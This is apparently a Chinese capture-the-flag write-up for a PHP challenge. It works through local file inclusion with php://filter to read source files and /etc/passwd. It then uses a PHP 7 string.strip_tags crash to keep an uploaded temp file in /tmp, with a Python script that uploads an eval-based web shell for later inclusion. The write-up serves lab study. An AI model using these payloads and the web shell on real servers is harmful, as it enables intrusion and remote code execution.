源代码里可以看到可疑内容:

<!--md5($secret.$name)===$pass -->

?实在搞不明白要表达啥,GET请求方式传入pass参数,响应包的值为hash:

得到flflflflag.php,用bp抓包访问得到如下内容:

看到了include($_GET[“file”]),不难想到文件包含,正常使用伪协议可读取源代码。目录扫描:

file=php://filter/read=convert.base64-encode/resource=flflflflag.php
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

额,过滤了data和input,不用考虑命令执行了。

file=php://filter/read=convert.base64-encode/resource=index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

包含了config.php,没有什么特殊发现。

file=php://filter/read=convert.base64-encode/resource=config.php
<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

讨厌。

file=php://filter/read=convert.base64-encode/resource=dir.php
<?php
var_dump(scandir('/tmp'));
?>

dir.php能打印临时文件夹里的内容,因此可以想到是否能利用dir.php?

学到了新知识点,观察响应包可得X-Powered-By: PHP/7.0.33

php7.0的bug:

?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[shaw]);?>"
#BytesIO(payload.encode()).getvalue()
data={
   'file': BytesIO(payload.encode())
}
url="http://c707289b-9d30-45b1-8ce7-8c5498df7acd.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
   r=requests.post(url=url,files=data,allow_redirects=False)
except:
        print("fail!")

运行脚本后访问dir.php,可以发现文件名,包含然后bp正常梭: